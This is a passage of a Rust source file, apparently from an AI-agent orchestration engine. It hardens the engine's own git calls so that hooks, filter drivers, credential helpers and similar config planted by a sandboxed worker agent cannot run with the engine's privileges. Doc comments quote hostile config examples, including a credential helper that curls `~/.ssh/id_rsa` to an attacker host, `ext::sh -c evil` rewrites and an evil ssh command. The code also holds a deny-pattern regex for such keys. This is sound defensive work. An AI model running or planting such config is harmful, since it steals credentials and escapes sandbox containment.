kranz_engine/git_ops.rs
1//! Git operations for mission branches (plan §4.4 — git is the source of truth).
2//!
3//! Every operation shells out to the `git` binary with an explicit argument
4//! vector (never a shell string, §9) and runs synchronously with the repo
5//! root as the working directory. Callers on async paths wrap calls in
6//! `tokio::task::spawn_blocking`.
7//!
8//! All failures surface as [`EngineError::Git`] with the command context and
9//! whatever git printed, so mission logs show *why* a git step failed.
10
11use crate::error::{EngineError, Result};
12use crate::scrub;
13use crate::types::TokenUsage;
14use std::ffi::OsString;
15use std::path::{Path, PathBuf};
16use std::process::{Command, Output, Stdio};
17
18#[path = "git_process.rs"]
19mod process;
20
21/// One commit in a [`GitRepo::commits_between`] listing.
22#[derive(Debug, Clone, PartialEq, Eq)]
23pub struct CommitInfo {
24 /// Full commit sha.
25 pub sha: String,
26 /// First line of the commit message.
27 pub subject: String,
28}
29
30/// The commit that introduced a path, from [`GitRepo::commit_that_added`].
31#[derive(Debug, Clone, PartialEq, Eq)]
32pub struct AddedCommit {
33 /// Full commit sha.
34 pub sha: String,
35 /// First line of the commit message.
36 pub subject: String,
37 /// The message body after the subject (carries the trailer block).
38 pub body: String,
39}
40
41/// Mission facts attached to kranz-authored durable commits as git trailers.
42#[derive(Debug, Clone, PartialEq)]
43pub struct KranzCommitMetadata {
44 pub mission_id: String,
45 pub cost_usd: f64,
46 pub tokens: TokenUsage,
47}
48
49/// Append-only git trailers for mission attribution and actual cost.
50pub fn kranz_commit_trailers(metadata: &KranzCommitMetadata) -> String {
51 format!(
52 "Kranz-Mission: {}\nKranz-Cost-USD: {:.4}\nKranz-Tokens-Input: {}\nKranz-Tokens-Output: {}\nKranz-Tokens-Cache-Read: {}\nKranz-Tokens-Cache-Write: {}",
53 metadata.mission_id,
54 metadata.cost_usd,
55 metadata.tokens.input,
56 metadata.tokens.output,
57 metadata.tokens.cache_read,
58 metadata.tokens.cache_write,
59 )
60}
61
62/// Commit message with kranz trailers separated in the standard trailer block.
63pub fn with_kranz_trailers(subject: &str, metadata: &KranzCommitMetadata) -> String {
64 format!("{subject}\n\n{}", kranz_commit_trailers(metadata))
65}
66
67/// Outcome of a [`GitRepo::merge_no_ff`] into the current branch (roadmap M3).
68///
69/// A `Conflict` merge is always rolled back with `git merge --abort` before it
70/// is returned, so the working tree is left clean either way — the caller never
71/// has to clean up a half-merged tree. A `RefusedPreMerge` failure never had a
72/// merge in progress (no `MERGE_HEAD`), so no abort is attempted — there is
73/// nothing to roll back.
74#[derive(Debug, Clone, PartialEq, Eq)]
75pub enum MergeOutcome {
76 /// The branch merged cleanly; the merge commit is on the current branch.
77 Clean,
78 /// The merge hit conflicts and was aborted. `files` lists the conflicting
79 /// paths git reported (best-effort; empty when git named none).
80 Conflict { files: Vec<String> },
81 /// Git refused the merge before it started (no `MERGE_HEAD` was ever
82 /// created) — e.g. an untracked file at a path the merge would bring in.
83 /// `detail` is git's verbatim stderr/stdout for the failed merge command.
84 /// No `git merge --abort` is attempted, since there is no merge in
85 /// progress to abort.
86 RefusedPreMerge { detail: String },
87}
88
89/// Outcome of a scoped engine checkpoint commit ([`GitRepo::commit_dirty_paths`]).
90///
91/// The pre-commit secret scan refusing a checkpoint is a POLICY decision, not
92/// a git failure, so it is an outcome (mirroring [`MergeOutcome`]) rather than
93/// an [`EngineError::Git`]: callers on the mission loop must be able to record
94/// the refusal and keep the mission moving — a dirty tree survives resume, so
95/// a propagated refusal would wedge the mission re-hitting the same error
96/// forever. Real git failures still surface as `Err`.
97#[derive(Debug, Clone, PartialEq, Eq)]
98pub enum CheckpointOutcome {
99 /// The checkpoint landed (or the tree was already clean); carries the
100 /// resulting head sha.
101 Committed(String),
102 /// The secret scan refused the checkpoint. `detail` names the findings
103 /// (rule ids + fingerprints, never raw secret bytes) and the allowlist
104 /// path for a reviewed waiver. Nothing was staged or committed.
105 RefusedBySecretScan { detail: String },
106}
107
108/// One entry of a recursive tree listing ([`GitRepo::ls_tree_recursive`]):
109/// the git file mode (`100644`/`100755` regular blob, `120000` symlink,
110/// `160000` submodule commit), the object kind (`blob`/`commit`), the blob
111/// size in bytes (`None` for non-blobs), and the repo-relative path.
112#[derive(Debug, Clone, PartialEq, Eq)]
113pub struct TreeEntry {
114 pub mode: String,
115 pub kind: String,
116 pub size: Option<u64>,
117 pub path: String,
118}
119
120/// Handle to a local git repository rooted at a working-tree directory.
121#[derive(Debug, Clone)]
122pub struct GitRepo {
123 root: PathBuf,
124 /// `Some(argv)` when every git invocation from this handle must run with
125 /// executable configuration disabled (see [`GitRepo::with_hooks_disabled`]):
126 /// the initial `-c key=value` argv segment. Each local command reads the
127 /// current driver names again and refuses newly armed names before it
128 /// runs. `None` keeps the repo's executable config —
129 /// worker-side git behavior is deliberately unchanged.
130 exec_disable_flags: Option<Vec<String>>,
131}
132
133#[derive(Default)]
134struct ConfiguredDrivers {
135 filters: std::collections::BTreeSet<String>,
136 merges: std::collections::BTreeSet<String>,
137 remotes: std::collections::BTreeSet<String>,
138}
139
140/// An EMPTY REGULAR FILE this process owns, for `GIT_CONFIG_GLOBAL`.
141///
142/// The obvious spelling is the null device (`/dev/null`, `NUL` on Windows),
143/// and that is what this was. It was never verified that Git for Windows
144/// accepts `NUL` as a config path: Git resolves config paths through its own
145/// POSIX-ish layer, and if it errors instead of reading an empty file then
146/// EVERY engine git call fails on Windows — a total break, not a degrade
147/// (audit 2026-09-01 F-12). An empty file the engine creates itself has no
148/// platform-specific device semantics to get wrong, and it is testable: the
149/// test can stat it.
150///
151/// Created once per process, lazily, on the first hardened invocation:
152/// a randomly named 0700 directory in the system temp dir (`create_dir`
153/// refuses an existing path, so an attacker cannot pre-seat it), holding one
154/// `create_new` 0600 file. `create_new` is what makes the create a claim
155/// rather than a truncate — it fails on a symlink and on any pre-existing
156/// entry, so this can never end up pointed at the operator's real
157/// `~/.gitconfig`.
158///
159/// Failure to create it is a REFUSAL, not a fallback: an invocation that
160/// cannot null the user scope would silently read whatever `~/.gitconfig`
161/// arms, which is the surface this exists to close.
162///
163/// Residual: the directory outlives the process (a static has no `Drop`), so
164/// a long-running host accumulates one empty 4KB directory per kranz process.
165/// Cheap, and the alternative — a predictable reusable path — trades that for
166/// a pre-seating race.
167pub(crate) fn empty_global_config_path() -> Result<&'static Path> {
168 static PATH: std::sync::OnceLock<std::result::Result<PathBuf, String>> =
169 std::sync::OnceLock::new();
170 match PATH.get_or_init(create_empty_global_config) {
171 Ok(path) => Ok(path.as_path()),
172 Err(detail) => Err(EngineError::Git(format!(
173 "refusing to run git without a neutralized user config: {detail}"
174 ))),
175 }
176}
177
178fn create_empty_global_config() -> std::result::Result<PathBuf, String> {
179 let dir = std::env::temp_dir().join(format!("kranz-gitconfig-{}", uuid::Uuid::new_v4()));
180 // Built in a block so the binding is `mut` only where a mode is set;
181 // on Windows the `mut` was an unused_mut error under `-D warnings`.
182 let builder = {
183 #[allow(unused_mut)]
184 let mut builder = std::fs::DirBuilder::new();
185 #[cfg(unix)]
186 {
187 use std::os::unix::fs::DirBuilderExt as _;
188 builder.mode(0o700);
189 }
190 builder
191 };
192 builder
193 .create(&dir)
194 .map_err(|e| format!("cannot create {}: {e}", dir.display()))?;
195 let path = dir.join("gitconfig");
196 let mut options = std::fs::OpenOptions::new();
197 options.write(true).create_new(true);
198 #[cfg(unix)]
199 {
200 use std::os::unix::fs::OpenOptionsExt as _;
201 options.mode(0o600);
202 }
203 options
204 .open(&path)
205 .map_err(|e| format!("cannot create {}: {e}", path.display()))?;
206 Ok(path)
207}
208
209/// Which config scopes one hardened git invocation reads.
210///
211/// [`UserConfig::Ignored`] is the rule for LOCAL operations (status, add,
212/// commit, checkout, merge, diff, log, worktree): they never contact a
213/// remote, so nothing the operator's `~/.gitconfig` carries is load-bearing
214/// for them, and nulling it removes a whole class of executable config the
215/// enumerated `-c` segment cannot cover.
216///
217/// [`UserConfig::Visible`] exists for the identity reads
218/// ([`GitRepo::ensure_identity`], [`GitRepo::resolved_identity`]), whose
219/// whole job is to resolve the operator's `user.name` / `user.email` from
220/// wherever git would find them — nulling user config there would silently
221/// restamp every engine commit as `kranz <kranz@localhost>`. Those
222/// invocations still carry the `-c` segment, so reading a config value never
223/// executes one.
224///
225/// [`UserConfig::KeptForNetwork`] is for operations that DO contact a remote
226/// (`push`, `ls-remote`). Nulling the user scope there is a functional
227/// regression, not a hardening (audit 2026-09-01 F-11): `credential.helper`
228/// (osxkeychain / manager / gh) is where an https push gets its credential,
229/// `url.<base>.insteadOf` is a widespread operator convention, and
230/// `http.proxy` is how a corporate network is reached at all. So the network
231/// mode keeps the user scope in force and defends the same surface from the
232/// other side — see [`GitRepo::refuse_network_on_armed_local_config`], which
233/// refuses the operation outright when the REPOSITORY's own config (the
234/// scope a worker can write) carries any of those keys.
235#[derive(Debug, Clone, Copy, PartialEq, Eq)]
236enum UserConfig {
237 Ignored,
238 Visible,
239 KeptForNetwork,
240}
241
242/// The config-scope environment a hardened invocation applies.
243///
244/// The operator's `~/.gitconfig` and `/etc/gitconfig` are further sources of
245/// EXECUTABLE config (`core.hooksPath`, `gpg.program`, filter drivers) that
246/// the enumerated `-c` segment does not cover: the filter enumeration reads
247/// the repository's config, so a driver armed only in a user-scope file would
248/// not be in the list. Nulling both keeps the hardened handle's promise
249/// honest. The idiom mirrors `contract_lint::lint_env`, which does the same
250/// from the other side.
251///
252/// The system scope stays off in EVERY mode, network included:
253/// `/etc/gitconfig` is not where an operator's credential helper or proxy
254/// lives, and on a shared build host it is the one scope a mission host
255/// operator may not control.
256fn hardened_config_env(user_config: UserConfig) -> Result<Vec<(&'static str, OsString)>> {
257 Ok(match user_config {
258 UserConfig::Ignored => vec![
259 ("GIT_CONFIG_NOSYSTEM", OsString::from("1")),
260 (
261 "GIT_CONFIG_GLOBAL",
262 empty_global_config_path()?.as_os_str().to_os_string(),
263 ),
264 ],
265 // GIT_CONFIG_GLOBAL is deliberately NOT set: the operator's
266 // ~/.gitconfig has to stay in force for the credential helper, the
267 // insteadOf rewrites and the proxy that make a push work at all.
268 UserConfig::KeptForNetwork => vec![("GIT_CONFIG_NOSYSTEM", OsString::from("1"))],
269 UserConfig::Visible => Vec::new(),
270 })
271}
272
273/// Local Git has no reason to receive the host's API keys or transport
274/// credentials. Keep process bootstrap, explicit commit identity, and Git's
275/// repository/index selectors, which callers may use for isolated operations.
276/// Identity-only config reads additionally retain the operator's config paths.
277fn clear_local_git_env(cmd: &mut Command, user_config: UserConfig) {
278 const KEEP: &[&str] = &[
279 "PATH",
280 "HOME",
281 "USERPROFILE",
282 "TMPDIR",
283 "TMP",
284 "TEMP",
285 "LANG",
286 "LC_ALL",
287 "TZ",
288 "GIT_AUTHOR_NAME",
289 "GIT_AUTHOR_EMAIL",
290 "GIT_AUTHOR_DATE",
291 "GIT_COMMITTER_NAME",
292 "GIT_COMMITTER_EMAIL",
293 "GIT_COMMITTER_DATE",
294 "GIT_DIR",
295 "GIT_COMMON_DIR",
296 "GIT_WORK_TREE",
297 "GIT_INDEX_FILE",
298 "GIT_OBJECT_DIRECTORY",
299 "GIT_ALTERNATE_OBJECT_DIRECTORIES",
300 "GIT_CEILING_DIRECTORIES",
301 ];
302 cmd.env_clear();
303 for key in KEEP {
304 if let Some(value) = std::env::var_os(key) {
305 cmd.env(key, value);
306 }
307 }
308 if user_config == UserConfig::Visible {
309 for key in ["GIT_CONFIG_GLOBAL", "GIT_CONFIG_SYSTEM", "XDG_CONFIG_HOME"] {
310 if let Some(value) = std::env::var_os(key) {
311 cmd.env(key, value);
312 }
313 }
314 }
315 #[cfg(windows)]
316 {
317 let mut env = std::collections::HashMap::new();
318 crate::agent_env::extend_windows_process_env(&mut env);
319 cmd.envs(env);
320 }
321}
322
323/// git on Windows cannot parse VERBATIM paths (`\\?\C:\...`, which
324/// `std::fs::canonicalize` returns there — and the engine canonicalizes
325/// repo roots for the no-follow guards): `git worktree add //?/C:/...`
326/// fails with "Invalid argument". Strip the prefix when handing a path to
327/// git; a no-op off Windows and on non-verbatim paths. (`\\?\UNC\` shares
328/// are not collapsed — no mission root legitimately lives on one.)
329fn git_path_arg(path: &Path) -> PathBuf {
330 #[cfg(windows)]
331 {
332 let rendered = path.as_os_str().to_string_lossy();
333 if let Some(rest) = rendered.strip_prefix(r"\\?\") {
334 if !rest.starts_with("UNC") {
335 return PathBuf::from(rest);
336 }
337 }
338 }
339 path.to_path_buf()
340}
341
342impl GitRepo {
343 /// Open `root` as a git repository, HARDENED.
344 ///
345 /// Verifies `git rev-parse --git-dir` succeeds inside `root`; returns
346 /// [`EngineError::Git`] when `root` is not a repository (or git itself
347 /// cannot be invoked).
348 ///
349 /// Every invocation from the returned handle runs with executable git
350 /// configuration disabled — see [`Self::build_exec_disable_flags`] for
351 /// the flag set. This is the DEFAULT because engine-side git runs inside
352 /// the tree the worker controls (audit 2026-09-01 H3): the worker's
353 /// session cwd is the active tree, `.git` is inside its write allowlist,
354 /// and the engine's next checkpoint `git status` / `git add` /
355 /// `git commit` would otherwise execute a planted `pre-commit` hook,
356 /// `core.fsmonitor`, filter driver or `gpg.program` OUTSIDE every sandbox
357 /// with the engine's full ambient environment. Hardening was previously
358 /// opt-in and applied at five sites; the sixteen that did not opt in
359 /// (integration-worktree handle, checkpoint commits, checkout, tag,
360 /// `push_mission_branch`) were the hole.
361 ///
362 /// [`Self::open_unhardened`] is the explicit escape hatch for a caller
363 /// that genuinely needs the repository's own executable config.
364 pub fn open(root: impl Into<PathBuf>) -> Result<Self> {
365 let repo = GitRepo {
366 root: root.into(),
367 exec_disable_flags: None,
368 }
369 .with_hooks_disabled()?;
370 repo.verify_repository()?;
371 Ok(repo)
372 }
373
374 /// Open `root` as a git repository WITHOUT the executable-config
375 /// neutralization [`Self::open`] applies.
376 ///
377 /// There is no engine caller: it exists so a future one that genuinely
378 /// wants the repository's hooks (a deliberate "run the project's own
379 /// pre-commit" feature, say) has to say so at the open site rather than
380 /// getting it by forgetting to opt in. Do not use it on a tree an agent
381 /// can write.
382 pub fn open_unhardened(root: impl Into<PathBuf>) -> Result<Self> {
383 let repo = GitRepo {
384 root: root.into(),
385 exec_disable_flags: None,
386 };
387 repo.verify_repository()?;
388 Ok(repo)
389 }
390
391 fn verify_repository(&self) -> Result<()> {
392 let out = self.probe(&["rev-parse", "--git-dir"])?;
393 if out.status.success() {
394 Ok(())
395 } else {
396 Err(EngineError::Git(format!(
397 "not a git repository: {} ({})",
398 self.root.display(),
399 failure_detail(&out)
400 )))
401 }
402 }
403
404 /// The working-tree root this handle operates on.
405 pub fn root(&self) -> &Path {
406 &self.root
407 }
408
409 /// A handle to the same repository whose every git invocation runs with
410 /// executable configuration disabled (see [`Self::build_exec_disable_flags`]
411 /// for the exact flag set and the surfaces each entry neutralizes, 13th-pass
412 /// review P1 — the set previously stopped at `core.hooksPath=` +
413 /// `core.fsmonitor=` while this doc claimed "every executable surface",
414 /// leaving planted filter drivers and `gpg.program` executable).
415 ///
416 /// [`Self::open`] now returns a hardened handle already, so on an
417 /// ordinary handle this keeps the initial driver boundary (including
418 /// across clones). Each local invocation checks that boundary again;
419 /// re-wrapping must not authorize a driver introduced by a worker.
420 ///
421 /// The gated merge path uses this: its scratch worktree's gitdir points
422 /// into the primary `.git`, so mission-authored gate/test code can plant
423 /// executable config — which the merge's own checkout / merge / worktree
424 /// commands would then execute with the server's full inherited
425 /// environment, exactly the tokens the sanitized gate executor withholds.
426 /// The validator-integrity fingerprint runs on a verification handle for
427 /// the same reason: a validator that poisons `core.fsmonitor` must not
428 /// get its payload executed by the detection itself (4th-pass review —
429 /// detection previously ran `git status` BEFORE comparing config, so the
430 /// payload ran first). Opt-in per handle: worker-side git behavior is
431 /// deliberately unchanged.
432 ///
433 /// Building the handle enumerates the repo's configured filter and merge drivers;
434 /// an enumeration failure fails CLOSED (no handle) — a verification
435 /// handle that cannot name its armed drivers cannot promise the surface
436 /// is disabled.
437 pub fn with_hooks_disabled(&self) -> Result<GitRepo> {
438 if let Some(flags) = &self.exec_disable_flags {
439 // Preserve the original boundary; do not authorize new drivers.
440 return Ok(GitRepo {
441 root: self.root.clone(),
442 exec_disable_flags: Some(flags.clone()),
443 });
444 }
445 let mut hardened = GitRepo {
446 root: self.root.clone(),
447 exec_disable_flags: Some(Vec::new()),
448 };
449 hardened.exec_disable_flags = Some(hardened.build_exec_disable_flags()?);
450 Ok(hardened)
451 }
452
453 /// The complete `-c key=value` argv segment [`Self::probe_os`] prepends to
454 /// every git invocation of a verification handle, and WHY each entry
455 /// exists (13th-pass review, P1):
456 ///
457 /// - `core.hooksPath=` / `core.fsmonitor=` — the original pair: hook
458 /// lookup resolves to nothing and the fsmonitor hook `git status`
459 /// would otherwise run is off.
460 /// - `core.attributesFile=/dev/null` — the per-user attributes file is
461 /// replaced with the null device. HONEST SCOPE: this does NOT touch
462 /// the repo's own attribute sources — a checkout's `.gitattributes`
463 /// and `$GIT_DIR/info/attributes` are consulted regardless (probed
464 /// 2026-08-04: an armed `*.txt filter=evil` in a worktree
465 /// `.gitattributes` still fired its driver under this flag alone).
466 /// Those files are deliverable content that must keep staging
467 /// verbatim, so the armed-driver attack is closed config-side — see
468 /// the filter enumeration below.
469 /// - `filter.<name>.clean=` / `.smudge=` / `.process=` plus
470 /// `filter.<name>.required=false` for EVERY filter driver named in
471 /// the repo's config (any scope): `git add` runs an armed driver's
472 /// clean/process command with the engine's privileges. The names are
473 /// enumerated with `git config --get-regexp -z '^filter\.'` (a pure
474 /// config read — include.path expansion reads files, it never
475 /// executes), then each is overridden EMPTY on the command line,
476 /// which git honors as "no driver": the add stages the raw bytes
477 /// verbatim (probed 2026-08-04, dotted subsection names included).
478 /// - `commit.gpgSign=false` + `gpg.program=/bin/false` — belt and
479 /// braces: repo config can force signing on (`commit.gpgSign=true`)
480 /// and name a payload as the signer. The first flag turns signing
481 /// off; the second makes the payload inert even if a future caller
482 /// forces signing back on (`-S`). `/bin/false` is never resolved
483 /// unless signing actually runs.
484 ///
485 /// - `credential.helper=` — a repo-local
486 /// `helper = !sh -c 'curl -d @~/.ssh/id_rsa https://attacker/'` runs
487 /// the moment git needs a credential, with the engine's environment.
488 /// An EMPTY helper entry is git's documented list RESET (the `-c`
489 /// scope is read last, so it clears every helper configured before
490 /// it), not merely one more empty entry. That is also why this key is
491 /// dropped for network operations, where the operator's own helper is
492 /// the point — see [`UserConfig::KeptForNetwork`].
493 /// - `core.sshCommand=` — `[core] sshCommand = sh -c 'evil' --` is
494 /// executed by every git operation that opens an ssh transport.
495 /// Dropped for network operations: probed 2026-09-02, an empty
496 /// `core.sshCommand` does NOT fall back to `ssh`, it makes git try to
497 /// exec the empty string (`error: cannot run : No such file or
498 /// directory`), so carrying it would break every ssh remote.
499 /// - `core.askPass=` — same shape for the credential prompt. Safe to
500 /// carry on network operations: git skips an empty askpass and falls
501 /// back to the terminal rather than trying to exec it.
502 /// - `core.editor=` / `sequence.editor=` — the engine never wants an
503 /// editor (every commit is `-m`), so an armed one can only be a
504 /// payload waiting for a git command that would spawn it.
505 /// - `uploadpack.packObjectsHook=` — runs on the SERVING side of a
506 /// fetch. A worker that plants it turns "someone fetches from this
507 /// checkout" into code execution.
508 /// - `protocol.ext.allow=never` — `ext::` remote URLs execute their
509 /// argument as a command. This shuts the transport off rather than
510 /// trying to sanitize URLs.
511 /// - `remote.<name>.uploadpack=` / `.receivepack=` for every remote
512 /// named in the repo's config: both name a program git runs on the
513 /// far side, and a local remote (`/path/to/repo`) makes "far side"
514 /// mean this machine.
515 ///
516 /// ## `url.<base>.insteadOf` is REFUSED, not blanked
517 ///
518 /// The audit asked for enumerate-and-blank here too. Probed 2026-09-02,
519 /// blanking is worse than doing nothing: `insteadOf` is MULTI-VALUED, so
520 /// `-c url.<base>.insteadOf=` appends an entry rather than replacing the
521 /// planted one — the planted rewrite still fires — and the appended
522 /// entry is the EMPTY prefix, which `starts_with` matches against every
523 /// URL. On a repo with no rewrite at all, adding the blank turned
524 /// `https://github.com/foo/bar.git` into
525 /// `ext::sh -c evil %Shttps://github.com/foo/bar.git`. There is no
526 /// command-line spelling that unsets a config key, so the flag set
527 /// cannot neutralize this surface. Only operations that resolve a remote
528 /// URL consult it, and those all go through
529 /// [`Self::refuse_network_on_armed_local_config`], which refuses them.
530 ///
531 /// Verification diffs pass `--no-ext-diff --no-textconv`; custom merge
532 /// drivers fail closed. Worker-authored configuration must not execute
533 /// outside its sandbox during an engine diff or merge.
534 fn build_exec_disable_flags(&self) -> Result<Vec<String>> {
535 const BASE: &[&str] = &[
536 "core.hooksPath=",
537 "core.fsmonitor=",
538 "core.attributesFile=/dev/null",
539 "commit.gpgSign=false",
540 "gpg.program=/bin/false",
541 "merge.default=text",
542 CREDENTIAL_HELPER_RESET,
543 SSH_COMMAND_OVERRIDE,
544 "core.askPass=",
545 "core.editor=",
546 "sequence.editor=",
547 "uploadpack.packObjectsHook=",
548 "protocol.ext.allow=never",
549 ];
550 let mut flags = Vec::with_capacity(BASE.len() * 2 + 16);
551 for kv in BASE {
552 flags.push("-c".to_string());
553 flags.push((*kv).to_string());
554 }
555 let drivers = self.configured_drivers()?;
556 for name in &drivers.filters {
557 for sub in ["clean", "smudge", "process"] {
558 flags.push("-c".to_string());
559 flags.push(format!("filter.{name}.{sub}="));
560 }
561 flags.push("-c".to_string());
562 flags.push(format!("filter.{name}.required=false"));
563 }
564 for name in &drivers.merges {
565 flags.push("-c".to_string());
566 flags.push(format!("merge.{name}.driver=false"));
567 }
568 for name in &drivers.remotes {
569 for sub in ["uploadpack", "receivepack"] {
570 flags.push("-c".to_string());
571 flags.push(format!("remote.{name}.{sub}="));
572 }
573 }
574 Ok(flags)
575 }
576
577 /// One pure config read covers local, included and worktree config. It
578 /// carries no `-c` overrides, so it sees driver names as configured rather
579 /// than the names from the handle's previous defensive argv segment.
580 fn configured_drivers(&self) -> Result<ConfiguredDrivers> {
581 let out = self.spawn_git(
582 &[
583 "config",
584 "--no-includes",
585 "--name-only",
586 "--get-regexp",
587 "-z",
588 "^(filter|merge|remote|include|includeif)\\.",
589 ]
590 .iter()
591 .map(OsString::from)
592 .collect::<Vec<_>>(),
593 UserConfig::Ignored,
594 ExecFlags::None,
595 )?;
596 if !out.status.success() {
597 if out.status.code() == Some(1) {
598 return Ok(ConfiguredDrivers::default());
599 }
600 // Do not include config values (or a malformed source line) in
601 // the refusal: repository config can contain credentials.
602 return Err(EngineError::Git(format!(
603 "refusing git operation: cannot enumerate executable repository configuration ({})",
604 out.status
605 )));
606 }
607 let stdout = std::str::from_utf8(&out.stdout).map_err(|_| {
608 EngineError::Git("refusing git operation: repository configuration is not UTF-8".into())
609 })?;
610 let mut drivers = ConfiguredDrivers::default();
611 for key in stdout.split('\0').filter(|entry| !entry.is_empty()) {
612 // An ordinary include can point outside protected Git metadata,
613 // including into the worker's writable source tree. Protecting
614 // only config/config.worktree cannot pin that dependency graph.
615 if key == "include.path" {
616 return Err(EngineError::Git(
617 "refusing git operation: ordinary repository config includes cannot be protected; move repository settings into config or config.worktree".into(),
618 ));
619 }
620 let Some((section, rest)) = key.split_once('.') else {
621 continue;
622 };
623 let Some((name, subkey)) = rest.rsplit_once('.') else {
624 continue;
625 };
626 // A checkout/worktree command can activate an include in a child
627 // Git process after this read, without any concurrent writer.
628 // Refuse even currently inactive conditions: their future driver
629 // set cannot be pinned by enumerating the current context.
630 if section == "includeif" && subkey == "path" {
631 return Err(EngineError::Git(
632 "refusing git operation: conditional repository config includes cannot be safely overridden across branch or worktree changes"
633 .into(),
634 ));
635 }
636 if name.is_empty() {
637 continue;
638 }
639 let names = match section {
640 "filter" => &mut drivers.filters,
641 "merge" if subkey == "driver" => &mut drivers.merges,
642 "remote" if matches!(subkey, "uploadpack" | "receivepack") => &mut drivers.remotes,
643 _ => continue,
644 };
645 // `-c` splits at the first '='. Such a subsection cannot be
646 // overridden by key=value argv, and control bytes cannot safely
647 // appear in refusal diagnostics. Never silently skip either.
648 if name.contains('=') || name.chars().any(char::is_control) {
649 return Err(EngineError::Git(
650 "refusing git operation: repository driver name cannot be safely overridden"
651 .into(),
652 ));
653 }
654 names.insert(name.to_string());
655 }
656 Ok(drivers)
657 }
658
659 /// A worker may add a driver after this handle (or its clone) was opened.
660 /// Refuse those new names. Keep the original overrides even for removed
661 /// drivers, so removing and restoring a known name cannot disarm them.
662 /// The repository's config is never rewritten to enforce this boundary.
663 ///
664 /// Residual: this preflight is not a config snapshot. A hostile process
665 /// able to write git config concurrently can race the read and Git's own
666 /// later read. Clearing the local command environment reduces authority
667 /// in that case; enforced write-denies or filesystem virtualization are
668 /// needed to close the concurrent mutation race completely.
669 fn refuse_new_exec_configuration(&self, initial: &[String]) -> Result<()> {
670 let current = self.build_exec_disable_flags()?;
671 let known: std::collections::HashSet<&str> = initial
672 .as_chunks::<2>()
673 .0
674 .iter()
675 .map(|pair| pair[1].as_str())
676 .collect();
677 let unexpected: Vec<&str> = current
678 .as_chunks::<2>()
679 .0
680 .iter()
681 .map(|pair| pair[1].as_str())
682 .filter(|entry| !known.contains(entry))
683 .filter_map(|entry| entry.split_once('=').map(|(key, _)| key))
684 .collect();
685 if !unexpected.is_empty() {
686 return Err(EngineError::Git(format!(
687 "refusing git operation: executable repository configuration changed after opening the handle: {}. Review the repository config before opening a new handle",
688 unexpected.join(", ")
689 )));
690 }
691 Ok(())
692 }
693
694 /// Refuse a NETWORK operation when the REPOSITORY's own config carries a
695 /// key that names a program, a credential source, or a URL rewrite.
696 ///
697 /// This is the network half of the H3 hardening, and the reason
698 /// [`UserConfig::KeptForNetwork`] can afford to leave the operator's
699 /// `~/.gitconfig` in force. The two scopes are not equally trusted:
700 /// `~/.gitconfig` is the operator's, while `<repo>/.git/config` is
701 /// inside the worker's write allowlist. A `credential.helper` or an
702 /// `ext::` rewrite appearing in the scope a worker controls is an ATTACK
703 /// SIGNAL, not a configuration to work around — so the push is refused
704 /// rather than sanitized, and the error names every offending key.
705 ///
706 /// Only keys are named, never values: a planted `http.proxy` or
707 /// `credential.<url>.username` can carry a secret, and the refusal goes
708 /// to mission logs.
709 ///
710 /// Failing to read the config is itself a refusal: a network operation
711 /// that cannot rule the repo scope out has not ruled it out.
712 fn refuse_network_on_armed_local_config(&self) -> Result<()> {
713 if self.exec_disable_flags.is_none() {
714 // An unhardened handle is the explicit escape hatch
715 // ([`Self::open_unhardened`]): it promises nothing, and this
716 // read could not tell the repo scope from the operator's anyway,
717 // because nothing is nulling the global scope for it.
718 return Ok(());
719 }
720 // Repository includes are unsupported even on the network path.
721 // Operator-global includes remain visible to the actual transport.
722 self.configured_drivers()?;
723 // Each pattern is matched against the key git prints, which lowercases
724 // the section and the final subkey but preserves a subsection's case
725 // (probed 2026-09-02) — hence `sshcommand`, `insteadof`.
726 const ARMED: &str = "^(credential\\.\
727 |core\\.sshcommand$\
728 |core\\.askpass$\
729 |core\\.gitproxy$\
730 |protocol\\.\
731 |http\\.(proxy|sslcainfo|sslcert|sslkey)$\
732 |url\\..*\\.(insteadof|pushinsteadof)$\
733 |remote\\..*\\.(uploadpack|receivepack)$)";
734 // Deliberately NOT `self.probe`: the handle's own `-c` segment sets
735 // `credential.helper=` and `protocol.ext.allow=never`, and
736 // `--get-regexp` would report those command-line values as matches
737 // and refuse every push. Nulling the global scope by env is what
738 // makes this read see exactly the repository's own config.
739 let out = self.spawn_git(
740 &["config", "--get-regexp", "-z", ARMED]
741 .iter()
742 .map(OsString::from)
743 .collect::<Vec<_>>(),
744 UserConfig::Ignored,
745 ExecFlags::None,
746 )?;
747 if !out.status.success() {
748 if out.status.code() == Some(1) {
749 // Exit 1 is "no matches": the repository scope is clean.
750 return Ok(());
751 }
752 return Err(EngineError::Git(format!(
753 "refusing a network git operation: cannot read this repository's \
754 own config to rule out a planted credential helper ({}): {}",
755 out.status,
756 failure_detail(&out)
757 )));
758 }
759 let stdout = String::from_utf8_lossy(&out.stdout);
760 let mut offenders = std::collections::BTreeSet::new();
761 for entry in stdout.split('\0') {
762 if entry.is_empty() {
763 continue;
764 }
765 offenders.insert(entry.split('\n').next().unwrap_or("").to_string());
766 }
767 if offenders.is_empty() {
768 return Ok(());
769 }
770 Err(EngineError::Git(format!(
771 "refusing a network git operation: this repository's own config sets \
772 {} — a credential helper, ssh command, URL rewrite or transport hook \
773 in the scope a worker can write is an attack signal, not a setting. \
774 Remove the key from .git/config (or .git/config.worktree) and re-run; \
775 the operator's own ~/.gitconfig is untouched and still in force.",
776 offenders.into_iter().collect::<Vec<_>>().join(", ")
777 )))
778 }
779
780 /// Sha of `HEAD` (`git rev-parse HEAD`).
781 pub fn head_sha(&self) -> Result<String> {
782 Ok(self.run(&["rev-parse", "HEAD"])?.trim().to_string())
783 }
784
785 /// The shared git directory (`.git` in a plain checkout, the MAIN repo's
786 /// git dir for a linked worktree) — where config, hooks, and refs live.
787 /// Relative `--git-common-dir` output resolves against the repo root.
788 pub fn git_common_dir(&self) -> Result<std::path::PathBuf> {
789 let out = self.run(&["rev-parse", "--git-common-dir"])?;
790 let path = std::path::PathBuf::from(out.trim());
791 Ok(if path.is_absolute() {
792 path
793 } else {
794 self.root.join(path)
795 })
796 }
797
798 /// Actual repository config inputs after include refusal. Used before an
799 /// enforced child starts; this read alone is not a concurrent-write guard.
800 pub(crate) fn config_protection_paths(&self) -> Result<(PathBuf, PathBuf, bool)> {
801 let common = self.git_common_dir()?;
802 let git_dir = PathBuf::from(self.run(&["rev-parse", "--git-dir"])?.trim());
803 let git_dir = if git_dir.is_absolute() {
804 git_dir
805 } else {
806 self.root.join(git_dir)
807 };
808 // The common config enables this scope. A key in config.worktree
809 // cannot hide that fact by overriding the effective query result.
810 let out = self.probe_os(&[
811 OsString::from("config"),
